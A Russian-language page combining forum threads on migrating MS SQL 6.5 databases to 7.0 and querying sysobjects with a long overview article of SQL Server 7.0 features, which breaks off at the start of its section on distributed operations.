FAQ по MS SQL 7.0


Перенос БД из MSSQL 6.5 на MSSQL 7.0

12.10.2008, 14:06

Совместимость datetime в MSSQL 7 и MSSQL 2000
Господа, помогите разобраться. Такая ситуация, понаписал скриптов под SQL 7, перенесли на SQL 2000.

Перенос БД MSSQL на MySQL
Подскажите господа бесплатную утилитку, или ссылочку на крякнутую платную _) Заранее спасибо)

Перенос данных из таблицы MySQL в MSSQL
Здравствуйте! Прошу вас помочь в данной ситуации, а ситуация такова! Существует таблица в MySQL, в.

Переход с mssql Express 2008 R2 на mssql 2012
Уважаемые Гуру! Темы о mssql 2008 попадаются значительно чаще , чем о mssql 2012. Хочу перейти.

Совместимость datetime в MSSQL 7 и MSSQL 2000
Господа, помогите разобраться. Такая ситуация, понаписал скриптов под SQL 7, перенесли на SQL 2000.

13.10.2008, 12:08 2 13.10.2008, 13:16 [ТС] 3

Спасибо за ответ. Но в статье речь идет о переносе с SQL7.0 на SQL2000. У них одинаковые форматы баз данных. Все перечисленные там варианты не работают в моем случае:

1. Detach / Attach БД не работает, так как у SQL6.5 и SQL7.0 разные форматы баз данных
2. Backup / Restore не работает по той же причине
3. DTS копирует только данные, а хранимые процедуры нет.
4. bcp также копирует только данные.

Хотя где-то я встречал, что при помощи DTS удалось перенести БД вместе со структурой с SQL6.5 на SQL7.0. Но у меня копируются только данные. Может быть есть какая-то тонкость.

Скриптов по созданию структуры нет. Подскажите еще что-нибудь.

13.10.2008, 14:25 4
13.10.2008, 14:25
13.10.2008, 14:31 5

1. Простой Upgrade версии 6.5 до 7 и потом ужк перенос файлов

13.10.2008, 14:34 6
14.10.2008, 14:37 [ТС] 7

Ответ KANDed: Дело в том, что этот флажок я могу включить или выключить только при копировании с 7.0 на 7.0. При копировании базы с 6.5 пункт для копирования объектов недоступен. Это и в помощи сказано. Хотя где-то я встречал, что кому-то удалось перенести базу с 6.5 на 7.0 вместе с объектами при помощи DTS. Но мне это не удалось.

Ответ Glory: Не совсем понятно, что значит простой upgrade. Сервера работают на разных компьютерах. И в дальнейшем они также должны работать. Нужно перенести только одну базу с 6.5 на 7.0. А вот в статье дан единственный на данный момент разумный совет: сгенерировать скрипт на 6.5, выполнить его на 7.0, а затем перенести данные при помощи DTS.

В адрес Microsoft: Это же надо так писать программы, что переход с одной версии на другую вызывает массу проблем. По моему это делается специально для вытягивания денег из клиентов.

14.10.2008, 15:54 8

На самом деле, проблемы видишь первые пару раз. Когда перенесешь несколько баз, проблем как бы и нет. Хотя, работая с MS, понимаешь, что в любой момент может возникнуть НЕЧТО.
1. Заскриптовать все объекты (индексы, триггеры, процедуры. ) все-равно надо. Это может здорово пригодиться.
2. Ты уже сам видишь легкую возможность перенести таблицы. Перенеси их.
3. Выполни скрипты создания прочих объектов (Возможны проблемки. ).

Ну, а ругать MS я перестал после перехода на SQL2K. Благодарю и кланяюсь, благодарю и кланяюсь. Только вот беспокойство появляется. Еще 2-3 таких перехода и DBA увольнять начнут потихоньку или переквалифицировать в. Нет проблем — нет работы!

14.10.2008, 15:54
14.10.2008, 15:54

Перенос данных с Acces в MSSQL
Собственно, как лучше сделать копирование данных из Access в MSSQL программно?

Перенос функции с mssql на pgsql
Приветствую! Нужна помощь в переносе функции: ALTER FUNCTION . (@id int) RETURNS nvarchar(max).

Перенос базы из файловой версии в MSSQL
Добрый вечер, имеется рабочая база 1С Предприятие 8.3, требуется ее из файловой версии перенести в.

FAQ по MS SQL 7.0

В общем задача в следующем. Мне нужно очистить всю базу, но только её содержимое, а не структуру.
Пытаюсь выбрать список таблиц, а он выдает ошибку:
Line 20: Incorrect syntax near ‘.’

при выполнении запроса:

SELECT
Id,Name,RTRIM(Type) Type,CASE UPPER(Type)
WHEN ‘C’ THEN ‘CHECK constraint’
WHEN ‘D’ THEN ‘Default or DEFAULT constraint’
WHEN ‘F’ THEN ‘FOREIGN KEY constraint’
WHEN ‘FN’ THEN ‘Scalar function’
WHEN ‘IF’ THEN ‘Inlined table-function’
WHEN ‘K’ THEN ‘PRIMARY KEY or UNIQUE constraint’
WHEN ‘L’ THEN ‘Log’
WHEN ‘P’ THEN ‘Stored procedure’
WHEN ‘R’ THEN ‘Rule’
WHEN ‘RF’ THEN ‘Replication filter stored procedure’
WHEN ‘S’ THEN ‘System table’
WHEN ‘TF’ THEN ‘Table function’
WHEN ‘TR’ THEN ‘Trigger’
WHEN ‘U’ THEN ‘User table’
WHEN ‘V’ THEN ‘View’
WHEN ‘X’ THEN ‘Extended stored procedure’
ELSE » END StrType
FROM my DB..SysObjects
WHERE (Type IN (‘C’,’D’,’F’,’FN’,’IF’,’K’,’L’,’P’,’R’,’RF’,’S’,’TF’,’TR’,’U’,’V’,’X’))
ORDER BY Name

Не подскажите, как будет выглядеть данный запрос.
С учетом, что я прям не много понимаю в запросах SQL’я ))
Очень буду благодарен за помощь!

Меню пользователя IEEE 1394
Посмотреть профиль
Найти ещё сообщения от IEEE 1394
14.11.2005, 09:09 [включить плавающее окно] #2
Меню пользователя IEEE 1394
Посмотреть профиль
Найти ещё сообщения от IEEE 1394

ELSE » END StrType
FROM my DB..SysObjects
WHERE (Type IN (‘C’,’D’,’F’,’FN’,’IF’,’K’,’L’,’P’,’R’,’RF’,’S’,’TF’,’TR’,’U’,’V’,’X’)).

Microsoft SQL Server 7.0

Обзор новой функциональности


Введение

В десятилетней истории Microsoft SQL Server выход версии 7.0 можно охарактеризовать, пожалуй, как наиболее значительный рывок к мощной и в то же время масштабируемой СУБД и унифицированным средствам обработки информации. Ее разработка велась на протяжении двух с половиной лет и ставила своей основной задачей обеспечение эффективности и надежности в широком диапазоне системных сред: от настольных до клиент-серверных и многоуровневых масштаба корпорации. Создание сервера баз данных, адресуемого крупному корпоративному бизнесу, потребовало длительного и тщательного тестирования. 1-я бета-версия продукта появилась в июне 1997 года и была распространена среди 200 независимых производителей программного обеспечения и аппаратных платформ. 2-я бета-версия, вышедшая в декабре 1997 года, была разослана 3000 тестерам. На заключительном, третьем этапе (июнь 1998 года) бета-версия была помещена на Web-сервер Microsoft, и подключиться к процессу тестированию смогли все желающие.

Microsoft SQL Server 7.0 будет распространяться в трех основных редакциях: SBS, стандартной и корпоративной. Корпоративная редакция устанавливается только на Windows NT Enterprise Edition и включает в себя такие дополнительные особенности, как поддержка до 32 процессоров, возможность установки на кластер MSCS и адресация расширенной памяти. В OLAP Services при этом можно создавать определяемые пользователем разбиения. Стандартная редакция работает на платформах Microsoft Windows Small Business Server и Microsoft Windows NT Server стандартной и корпоративной редакции. Количество поддерживаемых процессоров ограничено четырьмя. SBS-версия имеет ограниченный размер базы данных (10 Гбайт) и не включает OLAP Services. Количество одновременных пользователей в ней ограничено 50. Наконец, пользователи, обладающие лицензией per seat на любую из вышеперечисленных редакций, могут установить настольную редакцию Microsoft SQL Server 7.0. Настольная редакция предназначена для работы на Windows 95/98, Windows NT Workstation, Windows NT Server и Windows NT Enterprise. В отличие от остальных редакций она не имеет возможностей внутризапросного параллелизма, поддержки легковесных потоков (fibers), опережающего чтения (read ahead), полнотекстового поиска и некоторых других. Настольная редакция не может выступать издателем в транзакционной репликации (хотя может быть подписчиком) и не включает OLAP Services (хотя может использовать PivotTable Service).

Наш дальнейший рассказ об основных изменениях, произошедших в SQL Server, мы построим исходя из не нуждающегося в доказательстве утверждения, что любой бизнес имеет дело с данными. Отсюда, логично предложить следующий порядок повествования.


    Данные нужно хранить => механизм хранения Microsoft SQL Server 7.0

Данные нужно обрабатывать => процессор запросов Microsoft SQL Server 7.0; изменения в языке Transact-SQL

По мере усложнения бизнеса данные оказываются в разных местах => распределенные операции в Microsoft SQL Server 7.0

С данными должны уметь работать различные бизнес-приложения => программные интерфейсы доступа к Microsoft SQL Server 7.0

Данные должны быть надежно защищены => модель безопасности Microsoft SQL Server 7.0

Данные нужно уметь превращать в информацию для принятия управленческих решений => Microsoft OLAP Services for SQL Server 7.0.


Излишне говорить, что немалую роль при использовании любого программного продукта играет простота его освоения и удобство использования, поскольку эти факторы не только способны выработать чисто психологическое расположение к продукту, но и имеют достаточно четкую вещественную оценку в размере расходов на подготовку администраторов и программистов, что позволяет существенно снизить стоимость владения продуктом (TCO). Именно с этого немаловажного аспекта мы приступим к нашему обзору.

1. Простота использования

Как правило, серверы баз данных, традиционно ассоциирующиеся с обслуживанием корпоративного звена, отличаются сложностью изучения и администрирования. Microsoft SQL Server содержит множество утилит, инструментов, программ-мастеров (wizards), всплывающих автоподсказок и других возможностей, которые позволяют значительно упростить весь цикл работы с сервером, включая его установку, внедрение, управление и использование. SQL Server обеспечивает администраторов полным набором средств тонкой самонастройки для достижения лучшей производительности на имеющихся промышленных приложениях реального времени. Он также способен эффективно работать на автономных однопользовательских настольных системах, предполагая минимум административного вмешательства.

1.1 Динамическое самоадминистрирование

SQL Server версии 7.0 обладает способностью переконфигурировать себя автоматически во время работы. Если нагрузка на сервер возрастает, он будет динамически привлекать дополнительные ресурсы (например, память, отведенная серверу как приложению). При снижении нагрузки SQL Server возвращает ресурсы операционной системе. Это происходит также, если в операционной системе запускаются другие приложения. SQL Server обнаруживает дополнительные запросы на виртуальную память и высвобождает часть занятой под себя памяти, чтобы уберечь систему от интенсивного пэйджинга. Аналогичным образом происходит работа с дисковыми ресурсами: SQL Server может автоматически увеличивать или сжимать файл базы данных при добавлении или удалении записей. Выбор между тем, какие параметры серверной настройки будут определяться динамически, а какие — устанавливаться вручную, зависит от администратора. Если база данных сравнительно невелика, задачи рутинны или администратор малоопытен, можно возложить администрирование целиком на SQL Server. В случае объемных промышленных баз и сложных приложений искушенный администратор может полностью взять управление на себя.

1.2 Полный набор административных утилит

SQL Server предлагает администраторам баз данных следующие графические инструменты управления:

SQL Server Enterprise Manager как snap-in компонент централизованной консоли управления Microsoft Management Console (MMC) поддерживает администрирование серверов различных типов (Microsoft SQL Server, Microsoft Transaction Server, Microsoft Message Queue Server, Microsoft Internet Information Server, Microsoft SNA Server и т.д.) Из единой консоли администратор имеет возможность управлять всеми серверами в глобальной сети предприятия. SQL Server Enterprise Manager представляет все объекты SQL Server в виде иерархического дерева компонентов. Как подмножество пользовательского Web-интерфейса MMC он облегчает задачи удаленного администрирования SQL Server»ами, например, через Интернет. SQL Server Enterprise Manager служит главным инструментом администрирования SQL Server. Он позволяет регистрировать индивидуальные сервера и группы серверов, конфигурировать все серверные настройки, создавать и администрировать все базы данных, их объекты (таблицы, представления, процедуры, триггеры, ограничения, логины, пользователи, права и т.д.), определять и выполнять административные задачи на каждом зарегистрированном сервере, вызывать различные программы-мастера (wizards) и т.д.

SQL Server Agent используется для автоматизации часто повторяющихся задач или обработки исключительных ситуаций. Он позволяет запрограммировать выполнение задачи во времени в определенные моменты (на основе расписаний), а также предусмотреть выполнение задачи как реакцию на возникновение какого-то события (alert) без непосредственного участия администратора. Например, если мы имеем журнал транзакций фиксированного размера, он может, очевидно, переполняться. В этом случае мы можем с помощью SQL Server Agent послать оповещение администратору по электронной почте или пэйджинговой связи, а также инициировать очистку журнала с резервным копированием. Традиционно с помощью SQL Server Agent организуется процесс тиражирования. В отличие от SQL Executive в предыдущих версиях каждое задание может состоять из нескольких шагов (пакет операций на T-SQL, ActiveX Script, exe-модуль и т.д.), причем последовательность их выполнения может меняться в зависимости от результатов выполнения предыдущего шага. Задание может состоять из компонент, находящихся на разных серверах, позволяя таким образом автоматизировать процесс мультисерверного администрирования. В этом случае среди нескольких серверов один выбирается главным, он получает уведомления от агентов SQL Server на других серверах и управляет ходом выполнения распределенного задания. Им можно пользоваться интерактивно, а также запрограммировав его действия с помощью объявленных интерфейсов.

SQL Server Profiler представляет собой программу-перехватчик событий, генерируемых SQL Server. За счет изменений в архитектуре круг этих событий значительно расширился по сравнению с SQL Trace в предыдущих версиях. Есть возможность изменять вид представления данных, характеризующих каждое событие (какие события, какие данные по каждому из событий, порядок следования колонок в данных, группировка, установка фильтров для отлавливания событий только с интересующими параметрами и т.д.), при выводе на экран или записи в файл. Этот файл затем можно «проиграть» на другом сервере, например, резервном, чтобы в спокойной обстановке проанализировать поведение Вашего рабочего сервера. Файл с записью событий можно использовать также как эталонную нагрузку, которая подается на вход Index Tuning Wizard и в соответствии с которой последний настраивает индексы и другие объекты БД для достижения на ней максимальной производительности. SQL Server Profiler можно использовать для отслеживания активности, происходящей на SQL Server в разрезе по приложениям, пользователям и т.д., отладки хранимых процедур, отлавливания худших по производительности запросов, идентификации причин deadlock»ов и других полезных вещей.

SQL Server Performance Monitor предназначен для отслеживания динамики изменений параметров SQL Server в форме обычного Windows NT Performance Monitor: в виде графика, или отчета, записи в журнал или возникновения ситуации alert, когда измеряемый показатель становится больше / меньше заранее заданной величины. Alert может отлавливаться (см. выше — SQL Server Agent) и в ответ на него SQL Server может выполнять то или иное задание. SQL Server определяет 16 относящихся к нему объектов мониторинга SQL Server Performance Monitor, состоящих из группы параметров (counters). Например, объект SQL Server: Databases включает в себя параметры Active Transactions, Transactions/sec, Percent Log Used, Data File(s) Size и т.д., каждый из которых имеет количество экземпляров по числу имеющихся на сервере баз. Существует возможность создания пользовательских объектов. Из одного SQL Server Performance Monitor можно контролировать несколько серверов при наличии соответствующих прав. Записанная в журнал серверная активность может быть экспортирована в таблицу, например, Excel.

1.3 Wizards

Программы-мастера позволяют решать сложные задачи администрирования, проводя пользователя через последовательность экранных форм, на каждой из которых от него требуется выполнить какое-нибудь элементарное действие, например, ответить на заданный вопрос «да» или «нет». Программы-мастера существовали и в предыдущих версиях SQL Server (например, Database Maintenance Plan Wizard), однако в версии 7.0 их число значительно возросло. В SQL Server Enterprise Manager их входит свыше 20. По специфике решаемых задач они сгруппированы по темам: Database, Data Transformation Services, Maintenance и Replication и охватывают широкий круг самых разнообразных административных функций, начиная от регистрации сервера, создания базы данных, логина, хранимой процедуры и т.п. и заканчивая настройкой индекса, задачами мультисерверного администрирования (см. SQL Server Agent) и построением профиля трассировки (см. SQL Server Profiler). Мастера очень пригодятся при отстутствии у начинающего администратора достаточных навыков работы или при решении трудоемких, но рутинных по своей природе задач.

2. Механизм хранения


2.1 Дисковые структуры

Фундаментальной единицей хранения данных в SQL Server является страница. В версии 7.0 размер всех типов страниц увеличился с 2 до 8К, что позволило увеличить максимальную длину записи до 8060 байт. Соответственно возросли предельные длины переменных типов char, nchar, varchar, nvarchar, binary, varbinary — 8000 (с 255). Количество полей в таблице стало составлять 1024 (по сравнению с 250 в предыдущей версии). Протяжение (extent) составляет 8 последовательных страниц и служит базовой мерой, по которой объектам базы данных выделяется пространство памяти. В SQL Server 7.0 допустимы смешанные протяжения (mixed extents), которые могут делить между собой до 8 объектов, что позволяет более экономно использовать ресурсы. Изменился формат хранения BLOB-полей типа text, ntext и image. Во-первых, на одной странице, выделяемой под значения этих типов, могут храниться несколько таких значений в случае их небольшой длины, что опять-таки позволяет более экономно расходовать дисковое пространство. Во-вторых, вместо двусвязного списка эти страницы теперь образуют сбалансированное дерево (B-Tree), чем достигается более быстрый поиск фрагментов текста внутри длинных полей. В качестве указателя записи при наличии кластерного ключа используется теперь именно кластерный ключ (плюс uniquifier, если этот ключ не уникален), а не Row ID (RID). При вставках в середину таблицы кластерный ключ, в отличие от RIDa (представляющего собой номер файла, номер страницы и номер слота соответствующей записи на этой странице) остается постоянным и не требует волны обновлений указателей на листовых страницах некластерных индексов. При отстутствии кластерного индекса за указатели берутся RIDы, но тогда вставки происходят только в конец.

Ушли понятия устройства (device) и сегмента (segment). Хранение данных стало более тесно привязано к файлам операционной системы. Каждая база данных включает один первичный (primary) файл, содержащий стартовую информацию о хранении данных в базе, возможно, несколько вторичных файлов, хранящих данные, не поместившиеся в первичном файле, и один или несколько log-файлов для хранения журнала транзакций. Один файл не может более принадлежать нескольким базам данных. Данные и журнал транзакций теперь в обязательном порядке хранятся в отдельных файлах. Как мы уже упоминали выше, файлы баз данных получают возможность автоматически расти по мере необходимости либо в заранее заданных пределах, либо пока есть свободное место на диске. Для удобства администрирования файлы могут объединяться в группы. При создании объекта базы ему можно в явном виде указать, какой группе файлов он будет принадлежать. Если группа включает три файла, расположенных каждый на своем отдельном диске, и мы создаем индекс, который назначается данной группе, то это означает, что индекс будет физически «размазан» по этим трем дискам. Журналы транзакций никогда не являются частью никакой файловой группы.

2.2 Поддержка VLDB

Операции он-лайнового резервного копирования / восстановления (backup / restore) стали работать намного быстрее и оказывать меньшее влияние на производительность сервера по обслуживанию пользовательских запросов. Под он-лайновым резервным копированием мы понимаем резервное копирование открытых и используемых баз. SQL Server 7.0 применяет промышленный стандарт нечеткого копирования (fuzzy bаckup), который состоит в том, что протяжения (extents) копируются без последующей синхронизации пользовательских изменений, которые происходят за время резервного копирования. Эти изменения попадают в журнал транзакций, кусок которого, относящийся к периоду резервного копирования, копируется вместе с данными. При восстановлении эти транзакции накатываются на резервную копию данных, приводя их в целостное состояние. Резервное копирование может происходить на диск, ленточное устройство или в поименованный канал (named pipe). Во всех случаях используется стандартный формат резервного копирования MTF (Microsoft Tape Format), позволяющий чередовать на одном и том же носителе резервные копии данных SQL Server и Windows NT. Можно осуществлять полное или дифференциальное резервное копирование всей базы данных, отдельных входящих в нее файлов или файловых групп, а также отдельное резервное копирование журнала транзакций. Дифференциальное резервное копирование (differential backup) включает копии всех страниц принадлежащих базе объектов, модифицированных с момента последнего полного резервного копирования. Предполагается, что дифференциальное копирование должно происходить чаще полного, но реже резервного копирования журнала транзакций. При восстановлении базы на другом сервере теперь нет необходимости предварительно создавать базу данных. Создание базы происходит автоматически как часть процесса восстановления. Опция FOR LOAD оставлена в 7.0 для обратной совместимости. Прерванные операции резервного копирования / восстановления при возобновлении продолжают выполнение не с самого начала, а от точки предыдущего останова. Резервное копирование / восстановление может быть выполнено как из SQL Server Enterprise Manager, так и командами Transact-SQL.

Отдельные файлы баз данных можно переносить с сервера на сервер без необходимости их резервного копирования / восстановления — см. хранимые процедуры sp_attach_single_file_db и sp_attach_db.

Улучшилась также функциональность операций по проверке целостности (DBCC) и массивной загрузке данных (bcp). Команды DBCC были перепроектированы для достижения повышенной производительности. BСР теперь может осуществлять проверку ограничений (constraints) и вызывать срабатывание триггеров. BCP использует интерфейсы OLE DB для взаимодействия с SQL Server, поддерживает все типы данных и стала намного быстрее. Стали более эффективными способы загрузки данных в таблицы с определенными на них индексами.

2.3 Динамическое блокирование

В предыдущих версиях уровни изоляции REPEATABLE READ и SERIALIZABLE приводили к одинаковым эффектам. В SQL Server 7.0 их поведение приведено в соответствии со стандартами: первый допускает появление фантомов среди записей, блокированных на протяжении транзакции, второй — запрещает. Для обеспечения должного эффекта был введен новый режим блокировки — блокирование по диапазону ключей.

Блокировка уровня записи стала доступна для всех типов транзакций, а не только операций вставки, как это было в версии 6.5.

Для увеличения количества одновременно работающих пользователей и минимизации риска их взаимного блокирования в SQL Server 7.0 была реализована стратегия динамической блокировки, когда масштаб блокировок автоматически определяется на стадии компиляции плана запроса или даже может корректироваться в ходе выполнения, если обратное не указано пользователем (динамическая эскалация / деэскалация масштаба).

3. Процессор запросов


3.1 Работа в гетерогенных средах

В SQL Server 7.0 процессор запросов полностью отделен от механизма хранения и рассматривает таковой лишь в качестве одного из многих OLE DB-достижимых источников данных. Это позволяет процессору запросов работать с гетерогенными запросами, когда одним оператором SQL обрабатываются данные, принадлежащие не только разным серверам SQL Server 7.0 или 6.х, но и находящиеся на серверах других производителей, например, Oracle, в настольных СУБД (MS Access, MS Visual FoxPro, . ), табличных редакторах (MS Excel, . ), либо вообще нереляционных (файловая система, электронная почта, . ). С помощью соответствующих OLE DB-провайдеров в SQL Server 7.0 был реализован полнотекстовый поиск по полям строчных и текстовых типов, внутри файлов операционной системы и документов, опубликованных на Web-сервере.

3.2 Распараллеливание обработки запроса

Как известно, ранние версии SQL Server поддерживали межзапросный параллелизм, когда обслуживание пользовательских сессий велось на разных потоках. Наряду с этим, SQL Server 7.0 обладает возможностью внутризапросного параллелизма, когда выполнение одного запроса ведется одновременно на нескольких потоках. Таким образом, если аппаратная платформа оснащена несколькими процессорами (CPU), работа по обслуживанию запроса будет разделяться между процессорами. Это позволяет значительно ускорить обработку массивных аналитических запросов.

3.3 Новые стратегии оптимизации

Как подчеркивалось во Введении, SQL Server 7.0 Enterprise Edition позиционируется Microsoft в качестве сервера баз данных для крупных корпораций. В соответствии с этой целью, процессор запросов был существенно перепроектирован исходя из необходимости обработки больших объемов данных и сложных запросов, характерных для OLAP-приложений и систем поддержки принятия решения. В него были добавлены новые технологии построения связей между таблицами (merge join, hash join, hash team и их разновидности), а также дополнительные стратегии оптимизатора при обработке ROLAP-хранилищ, построенных по звездной схеме или «снежинке», такие как декартово произведение измерений, преобразование к semi-join и т.д. В отличие от предыдущих версий, где только один из индексов мог использоваться при обработке запроса, процессор запросов SQL Server 7.0 рассматривает сразу все доступные индексы, более того, он умеет выполнять теоретико-множественные операции над индексами, такие как пересечение, объединение, разность для обработки предикатов AND, OR, NOT IN и т.д. В частности, это позволяет SQL Server»у динамически построить покрывающий индекс за счет объединения имеющихся и ускорить выполнение запроса, за счет того, что чтение можно ограничить листовым уровнем индекса.

Улучшенная модель оценки стоимости запроса и усовершенствования периода компиляции существенно повысили качество планов. Например, если таблицы Т1, Т2, Т3 связываются между собой по одному атрибуту в порядке (Т1, Т2), (Т2, Т3), то оптимизатор «понимает», что из свойства транзитивности вытекает также (Т1, Т3) и, если эта связь дешевле, заменит ею одну из явно заданных. Другой пример — автопараметризация запросов. Выполнив серию запросов вида select * from member where member_no=1, select * from member where member_no=2, select * from member where member_no=3, . мы обнаружим, что количество планов в кэше, увеличившись после первого запроса, затем остается постоянным. Это значит, что SQL Server неявно использует запрос вида sp_executesql N»select * from member where member_no=@var», N»@var int», 3, в чем можно убедиться, посмотрев select * from master..syscacheobjects. В кэше, как мы видим, теперь могут храниться не только планы хранимых процедур, но и обычных запросов, как прекомпилированных (prepared), так и поступающих по ходу дела (ad hoc). Точные текстовые совпадения приведут к использованию уже имеющейся в кэше копии плана, независимо от того, от какой сессии приходит запрос, так как контексты соединений хранятся отдельно от собственно планов.

3.4 Процедурный кэш

Для хранимой процедуры план компилируется на основе параметров, переданных ей в момент первого выполнения и исходя из состояния данных в этот момент. Это легко увидеть с помощью DBCC MEMUSAGE(«PROCEDURE»): план появится там не после CREATE PROCEDURE, а в момент EXECа. Очевидно, что в ходе пользовательской активности данные могут меняться, так что план станет не очень оптимальным. SQL Server 7.0 автоматически без участия администратора выполняет перекомпиляцию плана при:
1) внесении каких-либо изменений в структуру таблицы или представления, от которых зависит процедура;
2) внесении значительного числа изменений в данные (характеризуется определенным приростом transaction log;
3) обновлении статистики на какие-то из полей (неважно, пользователем или самим сервером);
4) удалении индекса на таблицу, от которой зависит sp. В то же время создание нового индекса не вызывает перекомпиляцию процедуры, даже если процедура могла бы от него сильно выиграть. Ручная перекомпиляция осуществляется с помощью sp_recompile — не вызывает компиляцию немедленно, а только говорит процессору запросов, что в момент следующего вызова план процедуры требуется перестроить. Того же можно добиться непосредственно: EXEC . WITH RECOMPILE. Наконец, можно сказать SQL Server»у, чтобы для данной процедуры он строил новый план всякий раз, как мы ее вызываем. Это делается с помощью опции WITH RECOMPILE операторов CREATE/ALTER PROC и имеет смысл в том случае, если процедура работает с нетипичными или временными часто меняющимися данными. Планы таких процедур вообще не хранятся в кэше. Особо заметим, что перекомпиляция всех хранимых процедур происходит также при вызове sp_dbcmptlevel. Эта процедура устанавливает совместимость поведения для базы данных SQL Server 7.0 с версией 6.0 или 6.5, включая соответствие синтаксиса.

В версии 7.0 план является разделяемым (shared), что позволяет многим пользователям работать одновременно с единственной копией плана в памяти и существенно экономит процедурный кэш. План запроса не будет разделяться при различии параметров настройки сред окружения пользовательских сессий, могущих повлиять на ход выполнения запроса. Например,

user1: user2: set ansi_warnings on set ansi_warnings off select * from authors select * from authors

даст две копии плана, так как в первой сессии арифметическое переполнение должно вызывать генерацию сообщения об ошибке и откат транзакции, а во второй — возвращать значения null.

3.5 Статистика распределения

SQL Server 7.0 по умолчанию создает самообновляющуюся статистику. Тем не менее, если вы хотите вручную следить за поддержкой актуальности, вы можете отключить самообновление с помощью sp_autostats «tbl», «OFF» [,»ix_name»] или вызвав UPDATE STATISTICS . NORECOMPUTE. Оптимизатор предупреждает в плане выполнения запросов об отсутствии необходимой статистики. Контекстное меню шага в графическом SHOWPLAN позволяет тут же ее создать. В версии 7.0 более нет нужды строить индексы по некоторым полям только для того, чтобы иметь статистику распределения в этих колонках, так как появилась возможность создания статистики по неиндексированным полям. Кроме того, статистика более не ограничена одной страницей (distribution page), а хранится в виде image-поля, на которое указывает sysindexes.statblob. Она приводит к более точным оценкам за счет усовершенствованных алгоритмов интерполяции. Для ее построения оптимизатор по умолчанию пользуется случайной равномерной выборкой, а не всем множеством значений ключей. Задать мощность выборки в количестве записей или процентах от их общего числа можно при обновлении статистики: UPDATE STATISTICS . WITH SAMPLE . Эта опция удобна тем, что позволяет добиться хороших результатов при оценке запросов без значительных временных затрат на обновление статистики. Если же нам необходимо построить максимально достоверную статистику путем перебора всех записей в таблице, необходимо выбрать опцию WITH FULLSCAN.

3.6 Просмотр плана

Показ плана выполнения запроса возможен в трех режимах: сокращенном текстовом, полном текстовом и графическом. Графический план представляет каждый шаг выполнения иконкой со всплывающей подробной информацией об аргументах, количестве возвращаемых записей и т.д. Условная стоимость показывается в процентах, а именно, какую долю составляет каждый шаг от общей стоимости запроса. Если в батч входят несколько запросов, то процентные доли условной стоимости показываются для каждого запроса, позволяя быстро определять узкие места в коде. Ранее мы уже упоминали Index Tuning Wizard, позволяющий быстро оптимизировать объекты Вашей базы под эталонную нагрузку (workload), заданную либо в виде журнала SQL Server Trace, либо в виде SQL-кода. Более быструю, но менее комплексную оценку оптимального индекса, в частности, для одного конкретного запроса, дает Index Analyzer в составе SQL Query Analyzer.

4. Изменения в Transact-SQL

Даже простое перечисление новых хранимых процедур, функций, типов данных и операторов заняло бы у нас слишком продолжительное время, поскольку практически каждая новая черта из тех, что мы перечислили или коснемся ниже, имеет свое отражение в Transact-SQL. Поэтому за полным перечнем изменений читатель может обратиться к документации, мы же кратко обрисуем основные группы новых возможностей и некоторые наиболее яркие изменения в каждой.

4.1 Типы данных

В переменных и полях поддерживается формат Unicode. Добавились типы nchar, nvarchar и ntext. Максимальная длина ntext составляет 230 — 1 (для типов text/image — 231 — 1). Локальные переменные типов text/ntext объявлять по-прежнему нельзя, но в процедурах можно использовать параметры этих типов. Символ N, поставленный перед строкой, например, N»строка», обозначает Unicode.

Появился тип cursor. Можно объявлять переменные этого типа и использовать его для выходных параметров процедур. По отношению к переменным можно использовать обычные курсорные операторы (OPEN, FETCH, CLOSE, . ) и функции (sp_cursor_list, sp_describe_cursor, . ). Поля типа cursor объявлять нельзя.

Появился тип unique > Функции, возвращающие информацию о метаданных: DATABASEPROPERTY(), FILEPROPERTY(), OBJECTPROPERTY(), COLUMNPROPERTY(), INDEXPROPERTY(), .
Функции по работе с датами: DAY(), MONTH(), YEAR(). Кроме того, арифметические операнды + / — применимы при работе с датами.

Функции по работе с текстом: REPLACE(), NCHAR(), UNICODE(). Функция SUBSTRING() применима для полей text/ntext. Функция QUOTENAME() автоматически расставляет скобки, кавычки и иные разделительные символы, возвращая должным образом оформленный SQL-идентификатор, что особенно удобно, когда сама оригинальная строка также содержит разделители.

Функции по работе с полнотекстовым поиском: CONTAINSTABLE(), FREETEXTTABLE(), FULLTEXTCATALOGPROPERTY(), .

Статистические функции STDEV(), STDEVP(), VAR(), VARP().


Функции, обслуживающие задачи безопасности: IS_MEMBER(), IS_SRVROLEMEMBER(), SUSER_S > Функции по работе с гетерогенными запросами: OPENROWSET(), OPENQUERY().

  • Функции по работе с курсорами — CURSOR_STATUS().
  • Служебные функции. @@LOCK_TIMEOUT — возвращает время (в миллисекундах), в течение которого сессия ждет освобождения данных, заблокированных другой транзакцией; TRIGGER_NESTLEVEL() — определяет текущий уровень вложенности триггеров и т.д.
  • 4.3 Операторы

    В оператор ALTER DATABASE добавлены возможности добавления, модификации и удаления файлов и файловых групп.
    Добавлены операторы ALTER PROCEDURE, ALTER TRIGGER и ALTER VIEW.

    Появилась возможность отключения ограничений в таблице (см. CHECK | NOCHECK CONSTRAINTS в ALTER TABLE), что позволяет реализовать ссылочную целостность в триггерах, временно отключая FOREIGN KEY.

    CREATE CURSOR — появилась возможность создания локальных курсоров, видимых только в пределах той процедуры (триггера, батча), где они были созданы.

    Добавлена опция DROP COLUMN в операторе ALTER TABLE. Также появилась возможность создавать вычисляемые поля.

    CREATE STATISTICS строит статистику распределения по заданным полям (без необходимости создания индекса).

    CREATE TRIGGER позволяет создавать множественные триггеры на одну таблицу. Например, некая таблица может иметь два триггера на INSERT, три на UPDATE и один на DELETE для более четкого разделения логики в триггерах. Триггеры могут вызываться рекурсивно.

    DBCC SHRINKFILE, DBCC SHRINKDATABASE ликвидируют пустоты, сокращая размер как отдельного файла в составе базы, так и всей базы данных целиком.

    Операторы DML, естественно, обогатились новыми опциями, связанными с принудительным указанием типа связи (join hints), режима блокировки и т.д. В оператор SELECT был добавлен предикат TOP [PERCENT] [WITH TIES]. В отличие от установки SET ROWCOUNT в предыдущих, этот предикат непосредственно встраивается в план выполнения, так как интуитивно понятно, что оптимальный план для запроса, выбирающего все записи из большой таблицы, и для запроса, выбирающего первые 10 записей, будут в общем случае отличаться. WITH TIES, как следует из названия, довыводит хвосты. Т.е. в нашем примере WITH TIES выведет еще несколько оставшихся (если есть) записей, у которых значение выражения в ORDER BY такое же, как у 10-й записи, на которой обрывал выдачу простой TOP.

    О новых хранимых процедурах и других усовершенствованиях Transact-SQL читатель может узнать, обратившись к документации Microsoft SQL Server 7.0, например, Books On-Line, раздел «New Features in Microsoft Transact-SQL».

    5. Распределенные операции

